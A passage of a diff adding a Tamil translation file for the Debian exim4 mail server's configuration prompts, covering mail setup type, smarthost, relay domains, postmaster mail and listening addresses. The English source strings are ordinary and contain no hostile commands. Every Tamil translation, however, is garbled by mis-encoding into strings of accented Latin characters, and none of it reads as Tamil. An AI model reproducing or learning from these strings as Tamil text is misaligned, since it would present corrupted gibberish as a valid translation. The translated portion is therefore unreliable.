+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"இநà¯à®¤ தேரà¯à®µà¯ˆ தேரà¯à®¨à¯à®¤à¯†à®Ÿà¯à®•à¯à®•à®µà®¿à®²à¯à®²à¯ˆà®¯à®¾à®©à®¾à®²à¯ கணà¯à®Ÿà¯ அடைவ௠அபà¯à®ªà®Ÿà®¿à®¯à¯‡ வைகà¯à®•à®ªà¯ படà¯à®®à¯. அதனால௠எகà¯à®¸à¯ இம௠"
+"மீணà¯à®Ÿà¯à®®à¯ நிறà¯à®µà®ªà¯ படà¯à®®à¯ போத௠கà¯à®¯à¯‚வில௠உளà¯à®³ செயà¯à®¤à®¿à®•à®³à¯ பினà¯à®©à®¾à®²à¯ ஒர௠தேதியில௠சேரà¯à®ªà¯à®ªà®¿à®•à¯à®• இயலà¯à®®à¯."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "இநà¯à®¤ பணிதொகà¯à®ªà¯à®ªà¯à®•à¯à®•à¯ பதில௠எகà¯à®¸à¯ இம௠4 ஠மீணà¯à®Ÿà¯à®®à¯ வடிவமைகà¯à®•à®µà¯à®®à¯."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"எகà¯à®¸à¯ இமà¯4 இன௠வடிவமைபà¯à®ªà¯ பிரதà¯à®¯à¯‡à®• பொதி exim4-config இல௠வரையப௠படà¯à®Ÿà¯à®³à¯à®³à®¤à¯. நீஙà¯à®•à®³à¯ எகà¯à®¸à¯ "
+"இமà¯4 ஠மீணà¯à®Ÿà¯à®®à¯ வடிவமைகà¯à®• விரà¯à®®à¯à®ªà®¿à®©à®¾à®²à¯ 'dpkg-reconfigure exim4-config' எனà¯à®± கடà¯à®Ÿà®³à¯ˆà®¯à¯ˆ "
+"பயன௠படà¯à®¤à¯à®¤à®µà¯à®®à¯."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "இணையதளமà¯. அஞà¯à®šà®²à¯ எஸà¯à®Žà®®à¯à®Ÿà®¿à®ªà®¿ வழியாக நேரடியாக அனà¯à®ªà¯à®ªà®ªà¯ படà¯à®Ÿà¯ பெறபà¯à®ªà®Ÿà¯à®•à®¿à®±à®¤à¯."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"அஞà¯à®šà®²à¯ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ வழியாக அனà¯à®ªà¯à®ªà®ªà¯ படà¯à®Ÿà¯ எஸà¯à®Žà®®à¯à®Ÿà®¿à®ªà®¿ அலà¯à®²à®¤à¯ பெஃடà¯à®šà¯à®®à¯†à®¯à®¿à®²à¯ வழியாக "
+"பெறபà¯à®ªà®Ÿà¯à®•à®¿à®±à®¤à¯."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "அஞà¯à®šà®²à¯ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ வழியாக அனà¯à®ªà¯à®ªà®ªà¯ படà¯à®Ÿà®¤à¯; உளà¯à®³à®®à¯ˆ அஞà¯à®šà®²à¯ இலà¯à®²à¯ˆ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "உளà¯à®³à®®à¯ˆ அஞà¯à®šà®²à¯ மடà¯à®Ÿà¯à®®à¯; வலையமைபà¯à®ªà®¿à®²à¯ இலà¯à®²à¯ˆ"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "இநà¯à®¤ நேரதà¯à®¤à®¿à®²à¯ வடிவமைபà¯à®ªà¯ இலà¯à®²à¯ˆ"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "பொதà¯à®µà®¾à®© அஞà¯à®šà®²à¯ வடிவமைபà¯à®ªà¯:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "உஙà¯à®•à®³à¯ தேவையை பூரà¯à®¤à¯à®¤à®¿ செயà¯à®¯à¯à®®à¯ அஞà¯à®šà®²à¯ வடிவமைபà¯à®ªà¯ˆ தேரà¯à®¨à¯à®¤à¯†à®Ÿà¯à®™à¯à®•à®³à¯."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"இயஙà¯à®•à¯à®¨à®¿à®²à¯ˆ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®•à®³à¯ˆ கொணà¯à®Ÿ கணினிகள௠-டயலப௠கணினிகள௠உடà¯à®ªà®Ÿ- பொதà¯à®µà®¾à®• வெளிசà¯à®šà¯†à®²à¯à®²à¯à®®à¯ "
+"அஞà¯à®šà®²à¯à®•à®³à¯ 'ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯' எனபà¯à®ªà®Ÿà¯à®®à¯ இனà¯à®©à¯Šà®°à¯ கணினிகà¯à®•à¯à®šà¯ செலà¯à®²à¯à®®à¯à®ªà®Ÿ வடிவமைகà¯à®•à®ªà¯ படவேணà¯à®Ÿà¯à®®à¯. "
+"à®à®©à¯†à®©à®¿à®²à¯ இணையதளதà¯à®¤à®¿à®²à¯ உளà¯à®³ பல அஞà¯à®šà®²à¯ பெறà¯à®®à¯ அமைபà¯à®ªà¯à®•à®³à¯ இயஙà¯à®•à¯à®¨à®¿à®²à¯ˆ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®•à®³à¯ˆ கொணà¯à®Ÿ "
+"கணினிகளிடமிரà¯à®¨à¯à®¤à¯ வரà¯à®®à¯ அஞà¯à®šà®²à¯à®•à®³à¯ˆ எரிதம௠பாதà¯à®•à®¾à®ªà¯à®ªà¯ கரà¯à®¤à®¿ தடà¯à®¤à¯à®¤à¯ விடà¯à®•à®¿à®©à¯à®±à®©."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"இயஙà¯à®•à¯à®¨à®¿à®²à¯ˆ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®¯à¯ˆ கொணà¯à®Ÿ கணினி தனà¯à®©à®¿à®Ÿà®®à®¿à®°à¯à®¨à¯à®¤à¯‡ அஞà¯à®šà®²à¯ பெற இயலà¯à®®à¯. அலà¯à®²à®¤à¯ (அஞà¯à®šà®²à¯ "
+"அதிகாரி, ரூட௠தவிர ) உள௠வினியோகம௠அனைதà¯à®¤à¯ˆà®¯à¯à®®à¯ à®®à¯à®±à¯à®±à¯à®®à¯ செயலிழகà¯à®•à®šà¯ செயà¯à®¯à®²à®¾à®®à¯."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "அஞà¯à®šà®²à¯ அமைபà¯à®ªà¯ˆ உணà¯à®®à¯ˆà®¯à®¾à®• வடிவமைகà¯à®•à®¾à®®à®²à¯ விடவா?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"அஞà¯à®šà®²à¯ அமைபà¯à®ªà¯ வடிவமைகà¯à®•à®ªà¯ படà¯à®®à¯ வரை அத௠சிதைநà¯à®¤à¯ பயன௠படà¯à®¤à¯à®¤ இயலாத௠இரà¯à®•à¯à®•à¯à®®à¯. பின௠ஒர௠"
+"சமயம௠கை à®®à¯à®±à¯ˆà®¯à®¾à®•à®µà¯‹ ரூட௠ஆக 'dpkg-reconfigure exim4-config' கடà¯à®Ÿà®³à¯ˆà®¯à®¾à®²à¯‹ வடிவமைபà¯à®ªà¯ˆ "
+"செயà¯à®¯ இயலà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "கணினியின௠அஞà¯à®šà®²à¯ பெயரà¯:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'அஞà¯à®šà®²à¯ பெயர௠' எனà¯à®ªà®¤à¯ களப௠பெயர௠இலà¯à®²à®¾à®¤ அஞà¯à®šà®²à¯ à®®à¯à®•à®µà®°à®¿à®•à®³à¯ˆ 'தகà¯à®¤à®¿ படà¯à®¤à¯à®¤à¯à®®à¯' களப௠பெயரà¯. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"இநà¯à®¤ பெயர௠மறà¯à®± நிரலà¯à®•à®³à®¾à®²à¯à®®à¯ பயனà¯à®ªà®Ÿà¯à®¤à¯à®¤à®ªà¯à®ªà®Ÿà®²à®¾à®®à¯. இத௠தனி à®®à¯à®´à¯à®®à¯ˆà®¯à®¾à®• à®à®±à¯à®•à®ªà¯à®ªà®Ÿà¯à®Ÿ களபà¯à®ªà¯†à®¯à®°à¯ "
+"(FQDN) ஆக இரà¯à®•à¯à®• வேணà¯à®Ÿà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"இவà¯à®µà®¾à®±à®¾à®• ஒர௠உளà¯à®³à®®à¯ˆ பà¯à®°à®µà®²à®©à®¿à®©à¯ அஞà¯à®šà®²à¯ à®®à¯à®•à®µà®°à®¿ foo@example.org ஆனாலà¯, இநà¯à®¤ தேரà¯à®µà¯à®•à¯à®•à¯ "
+"சரியான மதிபà¯à®ªà¯ example.org ஆகà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"மற௠எழà¯à®¤à®²à¯ செயலாகà¯à®•à®¿ இரà¯à®ªà¯à®ªà®¿à®©à¯ இநà¯à®¤à®ªà¯ பெயர௠வெளி செலà¯à®²à¯à®®à¯ அஞà¯à®šà®²à¯à®•à®³à®¿à®²à¯ From: வரிகளில௠"
+"காணபà¯à®ªà®Ÿà®¾à®¤à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "எநà¯à®¤ மறà¯à®± இலகà¯à®•à¯à®•à®³à¯à®•à¯à®•à®¾à®• அஞà¯à®šà®²à¯ பெறà¯à®±à¯à®•à¯à®•à¯Šà®³à¯à®³à®ªà¯ படà¯à®®à¯:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"எநà¯à®¤ பெறà¯à®®à¯ களஙà¯à®•à®³à¯à®•à¯à®•à¯ இநà¯à®¤ கணினி இறà¯à®¤à®¿ இலகà¯à®•à®¾à®• வேணà¯à®Ÿà¯à®®à¯ என (;) அரைப௠பà¯à®³à¯à®³à®¿à®¯à®¾à®²à¯ "
+"பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ படà¯à®Ÿà®¿à®¯à®²à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•. இநà¯à®¤ களஙà¯à®•à®³à¯ பொதà¯à®µà®¾à®• 'உடà¯à®•à®³à®™à¯à®•à®³à¯' எனப௠படà¯à®®à¯. உளà¯à®ªà¯à®°à®µà®²à®©à¯ "
+"பெயர௠(${fqdn}) மறà¯à®±à¯à®®à¯ 'உளà¯à®ªà¯à®°à®µà®²à®©à¯' ஆகியன எபà¯à®ªà¯‹à®¤à¯à®®à¯‡ படà¯à®Ÿà®¿à®¯à®²à®¿à®²à¯ சேரà¯à®•à¯à®•à®ªà¯à®ªà®Ÿà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"à®®à¯à®©à¯à®©à®¿à®°à¯à®ªà¯à®ªà®¾à®• எலà¯à®²à®¾ உடà¯à®•à®³à®™à¯à®•à®³à¯à®®à¯ ஒனà¯à®±à®¾à®•à®µà¯‡ பாவிகà¯à®•à®ªà¯ படà¯à®®à¯. à®….உதாரணம௠ஆ.உதாரணம௠என இர௠"
+"உடà¯à®•à®³à®™à¯à®•à®³à¯ இரà¯à®ªà¯à®ªà®¿à®©à¯ கணகà¯à®•à¯@à®….உதாரணம௠கணகà¯à®•à¯@ஆ.உதாரணம௠என à®®à¯à®•à®µà®°à®¿à®¯à®¿à®Ÿà¯à®Ÿ இர௠அஞà¯à®šà®²à¯à®•à®³à¯à®®à¯‡ "
+"ஒரே இலகà¯à®•à®¿à®²à¯ வினியோகம௠செயà¯à®¯à®ªà¯à®ªà®Ÿà¯à®®à¯. களப௠பெயரà¯à®•à®³à¯ விதà¯à®¤à®¿à®¯à®¾à®šà®®à®¾à®• பாவிகà¯à®•à®ªà¯ பட வடிவமைபà¯à®ªà¯ "
+"கோபà¯à®ªà¯à®•à¯à®•à®³à¯ˆ பினà¯à®©à®¾à®²à¯ திரà¯à®¤à¯à®¤ வேணà¯à®Ÿà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "எநà¯à®¤ களஙà¯à®•à®³à¯à®•à¯à®•à¯ அஞà¯à®šà®²à¯ மேலனà¯à®ªà¯à®ªà®ªà¯ படà¯à®®à¯:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"எநà¯à®¤ பெறà¯à®®à¯ களஙà¯à®•à®³à¯à®•à¯à®•à¯ -உதாரணமாக மாறà¯à®±à¯ à®à®±à¯à®ªà®¾à®Ÿà¯ MX அலà¯à®²à®¤à¯ அஞà¯à®šà®²à¯ நà¯à®´à¯ˆà®µà®¾à®¯à®¿à®²à¯- இநà¯à®¤ "
+"கணினி அஞà¯à®šà®²à¯ˆ மேலனà¯à®ªà¯à®ª வேணà¯à®Ÿà¯à®®à¯ என (;) அரைப௠பà¯à®³à¯à®³à®¿à®¯à®¾à®²à¯ பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ படà¯à®Ÿà®¿à®¯à®²à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•. "
+"இதனால௠இநà¯à®¤ கணினி இணையதà¯à®¤à®¿à®²à¯ எநà¯à®¤ இடதà¯à®¤à®¿à®²à®¿à®°à¯à®¨à¯à®¤à¯à®®à¯ இநà¯à®¤ களஙà¯à®•à®³à®¿à®²à¯ இரà¯à®¨à¯à®¤à¯ அஞà¯à®šà®²à¯à®•à®³à¯ˆà®ªà¯ பெறà¯à®±à¯ "
+"உள௠வினியோக விதிகள௠படி வினியோகிகà¯à®•à¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "உடà¯à®•à®³à®™à¯à®•à®³à¯ˆ இஙà¯à®•à¯ கà¯à®±à®¿à®ªà¯à®ªà®¿à®Ÿà®¾à®¤à¯€à®°à¯à®•à®³à¯. கà¯à®±à®¿à®ªà¯à®ªà®¿à®²à¯ கà¯à®±à®¿à®•à®³à¯ˆ பயன௠படà¯à®¤à¯à®¤à®²à®¾à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "எநà¯à®¤ இயநà¯à®¤à®¿à®°à®™à¯à®•à®³à¯à®•à¯à®•à¯ அஞà¯à®šà®²à¯ மேலனà¯à®ªà¯à®ªà®ªà¯ படà¯à®®à¯:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"எநà¯à®¤ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿ வீசà¯à®šà¯à®•à®³à¯à®•à¯à®•à¯ இநà¯à®¤ கணினி ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ ஆக செயல௠படà¯à®Ÿà¯ அஞà¯à®šà®²à¯ˆ வரையினà¯à®±à®¿ "
+"மேலனà¯à®ªà¯à®ª வேணà¯à®Ÿà¯à®®à¯ என (;) அரைப௠பà¯à®³à¯à®³à®¿à®¯à®¾à®²à¯ பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ படà¯à®Ÿà®¿à®¯à®²à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"நீஙà¯à®•à®³à¯ செநà¯à®¤à®°à®®à®¾à®© address/prefix à®’à®´à¯à®™à¯à®•à¯ˆ பயன௠படà¯à®¤à¯à®¤à®µà¯‡à®£à¯à®Ÿà¯à®®à¯. (e.g. 194.222.242.0/24 "
+"or 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"இநà¯à®¤ கணினி மறà¯à®± எநà¯à®¤ பà¯à®°à®µà®²à®©à¯à®•à¯à®•à¯à®®à¯ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ ஆக இலà¯à®²à¯ˆ எனில௠இநà¯à®¤ படà¯à®Ÿà®¿à®¯à®²à¯ˆ வெறà¯à®±à®¾à®• "
+"விடவà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "உள௠பயனிகளà¯à®•à¯à®•à¯ களப௠பெயரà¯:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"வெளிச௠செலà¯à®²à¯à®®à¯ அஞà¯à®šà®²à¯à®•à®³à®¿à®²à¯ உள௠அஞà¯à®šà®²à¯ பெயரை மறைகà¯à®• இநà¯à®¤ தேரà¯à®µà¯ செயலாகà¯à®•à®ªà¯ படà¯à®Ÿà®¤à¯. ஆகவே "
+"உளà¯à®³à®®à¯ˆ பயனரà¯à®•à®³à®¿à®©à¯ அனà¯à®ªà¯à®ªà¯à®©à®°à¯ à®®à¯à®•à®µà®°à®¿à®¯à®¿à®²à¯ களப௠பெயர௠பகà¯à®¤à®¿à®•à¯à®•à®¾à®© களப௠பெயரை கà¯à®±à®¿à®ªà¯à®ªà®¿à®Ÿà¯à®¤à®²à¯ "
+"அவசியமà¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "வெளிசà¯à®šà¯†à®²à¯à®²à¯à®®à¯ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ கà¯à®•à¯ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿ அலà¯à®²à®¤à¯ பà¯à®°à®µà®²à®©à¯ பெயரà¯:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ ஆக இநà¯à®¤ கணினி செயல௠பட வேணà¯à®Ÿà®¿à®¯ அஞà¯à®šà®²à¯ சேவையகதà¯à®¤à®¿à®©à¯ பà¯à®°à®µà®²à®©à¯ பெயர௠அலà¯à®²à®¤à¯ à®à®ªà®¿ "
+"à®®à¯à®•à®µà®°à®¿à®¯à¯ˆ உளà¯à®³à®¿à®Ÿà¯à®•. இநà¯à®¤ ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ உஙà¯à®•à®³à¯ அஞà¯à®šà®²à¯ˆ டிசிபி/25 அலà¯à®²à®¾à®¤ ஒர௠தà¯à®±à¯ˆà®¯à®¿à®²à¯ "
+"பெறà¯à®±à¯à®•à¯à®•à¯Šà®³à¯à®³à¯à®®à®¾à®©à®¾à®²à¯ இரணà¯à®Ÿà¯ à®®à¯à®•à¯à®•à®¾à®±à¯ பà¯à®³à¯à®³à®¿à®•à®³à¯ˆ இடà¯à®Ÿà¯ தà¯à®±à¯ˆ எணà¯à®£à¯ˆà®¯à¯à®®à¯ கà¯à®±à®¿à®•à¯à®•à®µà¯à®®à¯. (எ-ட௠"
+"smarthost.example::587 அலà¯à®²à®¤à¯ 192.168.254.254::2525).à®à®ªà®¿à®µà®¿6 à®®à¯à®•à®µà®°à®¿à®•à®³à®¿à®²à¯ à®®à¯à®•à¯à®•à®¾à®±à¯ "
+"பà¯à®³à¯à®³à®¿à®•à®³à¯ˆ இரடà¯à®Ÿà®¿à®ªà¯à®ªà®¾à®•à¯à®• வேணà¯à®Ÿà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"ஸà¯à®®à®¾à®°à¯à®Ÿà¯ ஹோஸà¯à®Ÿà¯ கà¯à®•à¯ உணà¯à®®à¯ˆà®ªà¯ படà¯à®¤à¯à®¤à®²à¯ தேவையானால௠எஸà¯à®Žà®®à¯à®Ÿà®¿à®ªà®¿ உணà¯à®®à¯ˆà®ªà¯ படà¯à®¤à¯à®¤à®²à¯ˆ அமைதà¯à®¤à®²à¯ கà¯à®±à®¿à®¤à¯à®¤ "
+"கà¯à®±à®¿à®ªà¯à®ªà¯à®•à®³à¯à®•à¯à®•à¯ /usr/share/doc/exim4-base/ இல௠டெபியனà¯à®•à¯à®•à®¾à®© README கோபà¯à®ªà¯à®•à®³à¯ˆ "
+"பாரà¯à®•à¯à®•à®µà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "ரூட௠மறà¯à®±à¯à®®à¯ அஞà¯à®šà®²à¯ அதிகாரி அஞà¯à®šà®²à¯ பெறà¯à®©à®°à¯:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"'அஞà¯à®šà®²à¯ அதிகாரி', 'ரூடà¯' மறà¯à®±à¯à®®à¯ மறà¯à®± கணினி கணகà¯à®•à¯à®•à®³à¯à®•à¯à®•à®¾à®© அஞà¯à®šà®²à¯à®•à®³à¯ உணà¯à®®à¯ˆà®¯à®¾à®© கணினி "
+"மேலாளரின௠பயனர௠கணகà¯à®•à¯à®•à¯à®•à¯ மாறà¯à®±à®¿ அனà¯à®ªà¯à®ªà®ªà¯à®ªà®Ÿ வேணà¯à®Ÿà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"இநà¯à®¤ மதிபà¯à®ªà¯ வெறà¯à®±à®¾à®• விடப௠படà¯à®Ÿà®¾à®²à¯ அதà¯à®¤à®•à¯ˆà®¯ அஞà¯à®šà®²à¯à®•à®³à¯ /var/mail/mail அடைவில௠சேமிகà¯à®•à®ªà¯ "
+"படà¯à®®à¯. அத௠விரà¯à®®à¯à®ªà®¤à¯ தகà¯à®•à®¤à®²à¯à®²."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"அஞà¯à®šà®²à¯ அதிகாரிகà¯à®•à®¾à®© அஞà¯à®šà®²à¯à®•à®³à¯ அநà¯à®¤ அநà¯à®¤ கணினியிலேயே படிகà¯à®•à®ªà¯ பட வேணà¯à®Ÿà¯à®®à¯. வேற௠எஙà¯à®•à¯‹ மேல௠"
+"அனà¯à®ªà¯à®ªà®ªà¯ படகà¯à®•à¯‚டாதà¯. ஆகவே இஙà¯à®•à¯ படà¯à®Ÿà®¿à®¯à®²à®¿à®Ÿà®ªà¯ படà¯à®Ÿ பயனரà¯à®•à®³à®¿à®²à¯ à®’à®°à¯à®µà®°à®¿à®©à¯ அஞà¯à®šà®²à®¾à®µà®¤à¯ இநà¯à®¤ "
+"கணினியிலிரà¯à®¨à¯à®¤à¯ திரà¯à®ªà¯à®ªà®¿ அனà¯à®ªà¯à®ªà®•à¯ கூடாதà¯. உள௠வினியோகதà¯à®¤à¯ˆ உறà¯à®¤à®¿ செயà¯à®¯ ஒர௠"
+"'உணà¯à®®à¯ˆà®¯à®¾à®©-' எனà¯à®± à®®à¯à®©à¯à®©à¯Šà®Ÿà¯à®Ÿà¯ அமைகà¯à®•à®ªà¯ பட வேணà¯à®Ÿà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "பயனர௠பெயர௠பலவானால௠வெறà¯à®±à¯ இடதà¯à®¤à®¾à®²à¯ அவை பிரிகà¯à®•à®ªà¯ பட வேணà¯à®Ÿà¯à®®à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "உள௠வரà¯à®®à¯ எஸà¯à®Žà®®à¯à®Ÿà®¿à®ªà®¿ இணைபà¯à®ªà¯à®•à®³à¯à®•à¯à®•à¯ எதிரà¯à®¨à¯‹à®•à¯à®•à®¿ கேடà¯à®•à¯à®®à¯ à®à®ªà®¿ à®®à¯à®•à®µà®°à®¿à®•à®³à¯."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
